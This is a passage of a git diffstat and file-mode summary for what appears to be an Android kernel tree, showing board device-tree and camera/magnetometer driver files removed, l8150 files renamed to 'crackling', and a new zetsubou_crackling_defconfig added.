| 114 - ...si-panel-hx8394a-lide-lg-hd-550-video.dtsi | 152 - ...5596-yashi-otp-id22-auo-fhd-550-video.dtsi | 308 -- ...i-panel-otm1283a-boyi-lg-hd-550-video.dtsi | 333 -- ...-panel-otm1283a-lide-cpt-hd-550-video.dtsi | 329 -- ...-panel-r63315-tianma-tm-fhd-550-video.dtsi | 143 - .../dts/qcom/cp8675/msm-pm8916-cp8675.dtsi | 49 - .../msm8939-audio-internal_codec-cp8675.dtsi | 40 - .../cp8675/msm8939-camera-sensor-cp8675.dtsi | 188 - .../boot/dts/qcom/cp8675/msm8939-cp8675.dtsi | 388 -- .../qcom/cp8675/msm8939-panels-cp8675.dtsi | 17 - .../qcom/cp8675/msm8939-pinctrl-cp8675.dtsi | 69 - .../qcom/cp8675/msm8939-regulator-cp8675.dtsi | 18 - ...atterydata-crackling-jd-4v35-2500mah.dtsi} | 2 +- .../dsi-panel-booyiOTM1287-720p-video.dtsi | 0 .../dsi-panel-dijingILI9881C-720p-video.dtsi | 0 .../dsi-panel-trulyotm1288a-720p-video.dtsi | 0 .../msm-pm8916-crackling.dtsi} | 0 .../msm8916-camera-sensor-crackling.dtsi} | 0 .../msm8916-crackling.dtsi} | 6 +- .../msm8916-pinctrl-crackling.dtsi} | 0 .../batterydata-qrd-mp-4v2-2000mah.dtsi | 119 - .../batterydata-qrd-wk-4v35-2000mah.dtsi | 119 - ...anel-ili9806e-fwvga-hsd-helitai-video.dtsi | 307 -- .../g36c1h/msm8916-camera-sensor-g36c1h.dtsi | 135 - .../boot/dts/qcom/g36c1h/msm8916-g36c1h.dtsi | 328 -- ...16-qrd-l8150.dts => msm8916-crackling.dts} | 4 +- ...panel_dijing_nt35521h_hsd4p7_hd_video.dtsi | 270 -- .../dts/qcom/ql790/msm8916-ql790-camera.dtsi | 329 -- .../msm8916-ql790-lcd_panel-settings.dtsi | 50 - .../dts/qcom/ql790/msm8916-ql790-misc.dtsi | 178 - .../dts/qcom/ql790/msm8916-ql790-pinctrl.dtsi | 112 - .../dts/qcom/ql790/msm8916-ql790-pm8916.dtsi | 19 - .../msm8916-ql790-sunwoda-4v35-2000mah.dtsi | 116 - .../boot/dts/qcom/ql790/msm8916-ql790-tp.dtsi | 197 - .../boot/dts/qcom/ql790/msm8916-ql790.dtsi | 298 -- .../spirit/dsi-panel-goworld-1080p-video.dtsi | 108 - .../dts/qcom/spirit/msm-pm8916-spirit.dtsi | 25 - .../msm8939-audio-internal_codec-spirit.dtsi | 29 - .../spirit/msm8939-camera-sensor-spirit.dtsi | 320 -- .../qcom/spirit/msm8939-pinctrl-spirit.dtsi | 92 - .../boot/dts/qcom/spirit/msm8939-spirit.dtsi | 380 -- .../dsi-panel-ofilm-hx8394d-720p-video.dtsi | 87 - .../dsi-panel-txd-hx8394d-720p-video.dtsi | 96 - .../qcom/t86519a1/msm-pm8916-t86519a1.dtsi | 19 - .../msm8916-camera-sensor-t86519a1.dtsi | 277 -- .../dts/qcom/t86519a1/msm8916-t86519a1.dtsi | 500 --- .../wt88047/dsi-panel-nt35521-720p-video.dtsi | 77 - .../dsi-panel-nt35521-ofilm-720p-video.dtsi | 74 - .../dsi-panel-nt35521s-720p-video.dtsi | 75 - .../dsi-panel-otm1285a-720p-video.dtsi | 182 - .../dsi-panel-otm1285a-otp-720p-video.dtsi | 72 - .../wt88047/dsi-panel-r61308-720p-video.dtsi | 84 - .../dsi-panel-r61308-s88047a1-720p-video.dtsi | 84 - .../wt88047/dsi-panel-r69431-720p-video.dtsi | 71 - .../msm8916-camera-sensor-wt88047.dtsi | 211 - .../dts/qcom/wt88047/msm8916-wt88047.dtsi | 374 -- arch/arm/configs/zetsubou_crackling_defconfig | 3827 +++++++++++++++++ ...u_defconfig => zetsubou_wt88047_defconfig} | 0 build.sh | 16 +- drivers/input/misc/Kconfig | 65 +- drivers/input/misc/Makefile | 13 +- drivers/input/misc/ati_remote2.c | 36 +- drivers/input/misc/bmi160_driver.c | 287 +- drivers/input/misc/bmi160_driver.h | 9 +- drivers/input/misc/ims-pcu.c | 4 - drivers/input/misc/ltr553.c | 16 +- drivers/input/misc/ltr559.c | 43 - drivers/input/misc/max8997_haptic.c | 6 +- drivers/input/misc/mpu6050.c | 16 - drivers/input/misc/powermate.c | 3 - drivers/input/misc/uinput.c | 6 - drivers/input/misc/yas.h | 2001 --------- drivers/input/misc/yas_cfg.h | 245 -- drivers/input/misc/yas_mag_drv-yas532.c | 823 ---- drivers/input/misc/yas_mag_drv-yas537.c | 790 ---- drivers/input/misc/yas_mag_kernel.c | 1028 ----- drivers/input/touchscreen/Makefile | 10 +- drivers/media/platform/msm/Kconfig | 12 - drivers/media/platform/msm/Makefile | 4 - .../platform/msm/camera_wt88047_v2/Kconfig | 260 -- .../platform/msm/camera_wt88047_v2/Makefile | 18 - .../msm/camera_wt88047_v2/camera/Makefile | 3 - .../msm/camera_wt88047_v2/camera/camera.c | 802 ---- .../msm/camera_wt88047_v2/camera/camera.h | 23 - .../msm/camera_wt88047_v2/isp/Makefile | 4 - .../msm/camera_wt88047_v2/isp/msm_buf_mgr.c | 962 ----- .../msm/camera_wt88047_v2/isp/msm_buf_mgr.h | 170 - .../msm/camera_wt88047_v2/isp/msm_isp.c | 313 -- .../msm/camera_wt88047_v2/isp/msm_isp.h | 534 --- .../msm/camera_wt88047_v2/isp/msm_isp32.c | 1329 ------ .../msm/camera_wt88047_v2/isp/msm_isp32.h | 17 - .../msm/camera_wt88047_v2/isp/msm_isp40.c | 1826 -------- .../msm/camera_wt88047_v2/isp/msm_isp40.h | 17 - .../msm/camera_wt88047_v2/isp/msm_isp44.c | 1487 ------- .../msm/camera_wt88047_v2/isp/msm_isp44.h | 17 - .../camera_wt88047_v2/isp/msm_isp_axi_util.c | 1719 -------- .../camera_wt88047_v2/isp/msm_isp_axi_util.h | 61 - .../isp/msm_isp_stats_util.c | 575 --- .../isp/msm_isp_stats_util.h | 25 - .../msm/camera_wt88047_v2/isp/msm_isp_util.c | 1574 ------- .../msm/camera_wt88047_v2/isp/msm_isp_util.h | 80 - .../msm/camera_wt88047_v2/ispif/Makefile | 3 - .../msm/camera_wt88047_v2/ispif/msm_ispif.c | 1368 ------ .../msm/camera_wt88047_v2/ispif/msm_ispif.h | 69 - .../ispif/msm_ispif_hwreg_v1.h | 115 - .../ispif/msm_ispif_hwreg_v2.h | 96 - .../msm/camera_wt88047_v2/jpeg_10/Makefile | 6 - .../jpeg_10/msm_jpeg_common.h | 39 - .../camera_wt88047_v2/jpeg_10/msm_jpeg_core.c | 284 -- .../camera_wt88047_v2/jpeg_10/msm_jpeg_core.h | 40 - .../camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c | 315 -- .../camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c | 416 -- .../camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h | 105 - .../jpeg_10/msm_jpeg_hw_reg.h | 141 - .../jpeg_10/msm_jpeg_platform.c | 467 -- .../jpeg_10/msm_jpeg_platform.h | 43 - .../camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c | 1292 ------ .../camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h | 128 - .../platform/msm/camera_wt88047_v2/msm.c | 1128 ----- .../platform/msm/camera_wt88047_v2/msm.h | 120 - .../camera_wt88047_v2/msm_buf_mgr/Makefile | 2 - .../msm_buf_mgr/msm_generic_buf_mgr.c | 352 -- .../msm_buf_mgr/msm_generic_buf_mgr.h | 40 - .../platform/msm/camera_wt88047_v2/msm_sd.h | 86 - .../msm/camera_wt88047_v2/msm_vb2/Makefile | 3 - .../msm/camera_wt88047_v2/msm_vb2/msm_vb2.c | 311 -- .../msm/camera_wt88047_v2/msm_vb2/msm_vb2.h | 70 - .../msm/camera_wt88047_v2/pproc/Makefile | 2 - .../msm/camera_wt88047_v2/pproc/cpp/Makefile | 4 - .../msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c | 2524 ----------- .../msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h | 237 - .../msm/camera_wt88047_v2/pproc/vpe/Makefile | 3 - .../msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c | 1655 ------- .../msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h | 255 -- .../msm/camera_wt88047_v2/sensor/Makefile | 21 - .../sensor/actuator/Makefile | 4 - .../sensor/actuator/msm_actuator.c | 1146 ----- .../sensor/actuator/msm_actuator.h | 106 - .../msm/camera_wt88047_v2/sensor/cci/Makefile | 3 - .../sensor/cci/msm_cam_cci_hwreg.h | 58 - .../camera_wt88047_v2/sensor/cci/msm_cci.c | 1421 ------ .../camera_wt88047_v2/sensor/cci/msm_cci.h | 197 - .../camera_wt88047_v2/sensor/csid/Makefile | 3 - .../sensor/csid/include/msm_csid_2_0_hwreg.h | 56 - .../sensor/csid/include/msm_csid_2_2_hwreg.h | 55 - .../sensor/csid/include/msm_csid_3_0_hwreg.h | 55 - .../sensor/csid/include/msm_csid_3_1_hwreg.h | 55 - .../sensor/csid/include/msm_csid_3_2_hwreg.h | 55 - .../camera_wt88047_v2/sensor/csid/msm_csid.c | 827 ---- .../camera_wt88047_v2/sensor/csid/msm_csid.h | 92 - .../camera_wt88047_v2/sensor/csiphy/Makefile | 3 - .../csiphy/include/msm_csiphy_2_0_hwreg.h | 46 - .../csiphy/include/msm_csiphy_2_2_hwreg.h | 46 - .../csiphy/include/msm_csiphy_3_0_hwreg.h | 46 - .../csiphy/include/msm_csiphy_3_1_hwreg.h | 48 - .../csiphy/include/msm_csiphy_3_2_hwreg.h | 46 - .../sensor/csiphy/msm_csiphy.c | 887 ---- .../sensor/csiphy/msm_csiphy.h | 89 - .../camera_wt88047_v2/sensor/eeprom/Makefile | 4 - .../sensor/eeprom/msm_eeprom.c | 1157 ----- .../sensor/eeprom/msm_eeprom.h | 49 - .../camera_wt88047_v2/sensor/flash/Makefile | 9 - .../camera_wt88047_v2/sensor/flash/adp1660.c | 212 - .../camera_wt88047_v2/sensor/flash/bd7710.c | 209 - .../camera_wt88047_v2/sensor/flash/lm3642.c | 398 -- .../sensor/flash/msm_led_flash.c | 120 - .../sensor/flash/msm_led_flash.h | 89 - .../sensor/flash/msm_led_i2c_trigger.c | 729 ---- .../sensor/flash/msm_led_torch.c | 60 - .../sensor/flash/msm_led_trigger.c | 302 -- .../msm/camera_wt88047_v2/sensor/gc0339.c | 704 --- .../msm/camera_wt88047_v2/sensor/hi256.c | 2157 ---------- .../msm/camera_wt88047_v2/sensor/imx132.c | 154 - .../msm/camera_wt88047_v2/sensor/imx134.c | 174 - .../msm/camera_wt88047_v2/sensor/imx135.c | 173 - .../msm/camera_wt88047_v2/sensor/io/Makefile | 4 - .../sensor/io/msm_camera_cci_i2c.c | 500 --- .../sensor/io/msm_camera_dt_util.c | 1368 ------ .../sensor/io/msm_camera_dt_util.h | 61 - .../sensor/io/msm_camera_i2c.h | 124 - .../sensor/io/msm_camera_i2c_mux.c | 188 - .../sensor/io/msm_camera_i2c_mux.h | 46 - .../sensor/io/msm_camera_io_util.c | 581 --- .../sensor/io/msm_camera_io_util.h | 65 - .../sensor/io/msm_camera_qup_i2c.c | 545 --- .../sensor/io/msm_camera_spi.c | 214 - .../sensor/io/msm_camera_spi.h | 66 - .../msm/camera_wt88047_v2/sensor/msm_sensor.c | 1451 ------- .../msm/camera_wt88047_v2/sensor/msm_sensor.h | 112 - .../sensor/msm_sensor_driver.c | 1034 ----- .../sensor/msm_sensor_driver.h | 20 - .../sensor/msm_sensor_init.c | 186 - .../sensor/msm_sensor_init.h | 25 - .../msm/camera_wt88047_v2/sensor/mt9m114.c | 1510 ------- .../msm/camera_wt88047_v2/sensor/ov12830.c | 197 - .../msm/camera_wt88047_v2/sensor/ov2720.c | 155 - .../msm/camera_wt88047_v2/sensor/ov5645.c | 958 ----- .../msm/camera_wt88047_v2/sensor/ov5648.c | 179 - .../msm/camera_wt88047_v2/sensor/ov7695.c | 679 --- .../msm/camera_wt88047_v2/sensor/ov8825.c | 173 - .../msm/camera_wt88047_v2/sensor/ov8865.c | 185 - .../msm/camera_wt88047_v2/sensor/ov9724.c | 167 - .../msm/camera_wt88047_v2/sensor/s5k3l1yx.c | 173 - .../msm/camera_wt88047_v2/sensor/s5k4e1.c | 167 - .../msm/camera_wt88047_v2/sensor/sp1628.c | 992 ----- drivers/platform/Kconfig | 2 +- drivers/platform/wileyfox/Kconfig | 24 + drivers/platform/wingtech/Kconfig | 30 - 215 files changed, 4125 insertions(+), 61358 deletions(-) delete mode 100644 arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-BB.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-CC.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-LS.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-MK.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/batterydata-CPLD-351-TM.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/dsi-panel-hx8394a-lide-lg-hd-550-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/dsi-panel-nt35596-yashi-otp-id22-auo-fhd-550-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/dsi-panel-otm1283a-boyi-lg-hd-550-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/dsi-panel-otm1283a-lide-cpt-hd-550-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/dsi-panel-r63315-tianma-tm-fhd-550-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/msm-pm8916-cp8675.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/msm8939-audio-internal_codec-cp8675.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/msm8939-camera-sensor-cp8675.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/msm8939-cp8675.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/msm8939-panels-cp8675.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/msm8939-pinctrl-cp8675.dtsi delete mode 100644 arch/arm/boot/dts/qcom/cp8675/msm8939-regulator-cp8675.dtsi rename arch/arm/boot/dts/qcom/{l8150/batterydata-l8150-jd-4v35-2500mah.dtsi => crackling/batterydata-crackling-jd-4v35-2500mah.dtsi} (98%) rename arch/arm/boot/dts/qcom/{l8150 => crackling}/dsi-panel-booyiOTM1287-720p-video.dtsi (100%) rename arch/arm/boot/dts/qcom/{l8150 => crackling}/dsi-panel-dijingILI9881C-720p-video.dtsi (100%) rename arch/arm/boot/dts/qcom/{l8150 => crackling}/dsi-panel-trulyotm1288a-720p-video.dtsi (100%) rename arch/arm/boot/dts/qcom/{l8150/msm-pm8916-l8150.dtsi => crackling/msm-pm8916-crackling.dtsi} (100%) rename arch/arm/boot/dts/qcom/{l8150/msm8916-camera-sensor-l8150.dtsi => crackling/msm8916-camera-sensor-crackling.dtsi} (100%) rename arch/arm/boot/dts/qcom/{l8150/msm8916-l8150.dtsi => crackling/msm8916-crackling.dtsi} (98%) rename arch/arm/boot/dts/qcom/{l8150/msm8916-pinctrl-l8150.dtsi => crackling/msm8916-pinctrl-crackling.dtsi} (100%) delete mode 100644 arch/arm/boot/dts/qcom/g36c1h/batterydata-qrd-mp-4v2-2000mah.dtsi delete mode 100644 arch/arm/boot/dts/qcom/g36c1h/batterydata-qrd-wk-4v35-2000mah.dtsi delete mode 100644 arch/arm/boot/dts/qcom/g36c1h/dsi-panel-ili9806e-fwvga-hsd-helitai-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/g36c1h/msm8916-camera-sensor-g36c1h.dtsi delete mode 100644 arch/arm/boot/dts/qcom/g36c1h/msm8916-g36c1h.dtsi rename arch/arm/boot/dts/qcom/{msm8916-qrd-l8150.dts => msm8916-crackling.dts} (97%) delete mode 100644 arch/arm/boot/dts/qcom/ql790/dsi_panel_dijing_nt35521h_hsd4p7_hd_video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/ql790/msm8916-ql790-camera.dtsi delete mode 100644 arch/arm/boot/dts/qcom/ql790/msm8916-ql790-lcd_panel-settings.dtsi delete mode 100644 arch/arm/boot/dts/qcom/ql790/msm8916-ql790-misc.dtsi delete mode 100644 arch/arm/boot/dts/qcom/ql790/msm8916-ql790-pinctrl.dtsi delete mode 100644 arch/arm/boot/dts/qcom/ql790/msm8916-ql790-pm8916.dtsi delete mode 100644 arch/arm/boot/dts/qcom/ql790/msm8916-ql790-sunwoda-4v35-2000mah.dtsi delete mode 100644 arch/arm/boot/dts/qcom/ql790/msm8916-ql790-tp.dtsi delete mode 100644 arch/arm/boot/dts/qcom/ql790/msm8916-ql790.dtsi delete mode 100644 arch/arm/boot/dts/qcom/spirit/dsi-panel-goworld-1080p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/spirit/msm-pm8916-spirit.dtsi delete mode 100644 arch/arm/boot/dts/qcom/spirit/msm8939-audio-internal_codec-spirit.dtsi delete mode 100644 arch/arm/boot/dts/qcom/spirit/msm8939-camera-sensor-spirit.dtsi delete mode 100644 arch/arm/boot/dts/qcom/spirit/msm8939-pinctrl-spirit.dtsi delete mode 100644 arch/arm/boot/dts/qcom/spirit/msm8939-spirit.dtsi delete mode 100644 arch/arm/boot/dts/qcom/t86519a1/dsi-panel-ofilm-hx8394d-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/t86519a1/dsi-panel-txd-hx8394d-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/t86519a1/msm-pm8916-t86519a1.dtsi delete mode 100644 arch/arm/boot/dts/qcom/t86519a1/msm8916-camera-sensor-t86519a1.dtsi delete mode 100644 arch/arm/boot/dts/qcom/t86519a1/msm8916-t86519a1.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521-ofilm-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-nt35521s-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi delete mode 100644 arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi create mode 100644 arch/arm/configs/zetsubou_crackling_defconfig rename arch/arm/configs/{zetsubou_defconfig => zetsubou_wt88047_defconfig} (100%) delete mode 100644 drivers/input/misc/yas.h delete mode 100644 drivers/input/misc/yas_cfg.h delete mode 100644 drivers/input/misc/yas_mag_drv-yas532.c delete mode 100644 drivers/input/misc/yas_mag_drv-yas537.c delete mode 100644 drivers/input/misc/yas_mag_kernel.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/Kconfig delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/camera/camera.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/ispif/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.c delete mode 100755 drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v1.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/ispif/msm_ispif_hwreg_v2.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_common.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_core.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_dev.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_buf_mgr/msm_generic_buf_mgr.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_sd.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/msm_vb2/msm_vb2.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/pproc/vpe/msm_vpe.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/actuator/msm_actuator.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cam_cci_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_0_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_2_2_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_0_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_2_hwreg.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/adp1660.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/bd7710.c delete mode 100755 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/lm3642.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_i2c_trigger.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_torch.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_trigger.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/gc0339.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/hi256.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/imx132.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/imx134.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/imx135.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_cci_i2c.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_qup_i2c.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_spi.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.c delete mode 100755 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_driver.h delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.c delete mode 100644 drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor_init.h 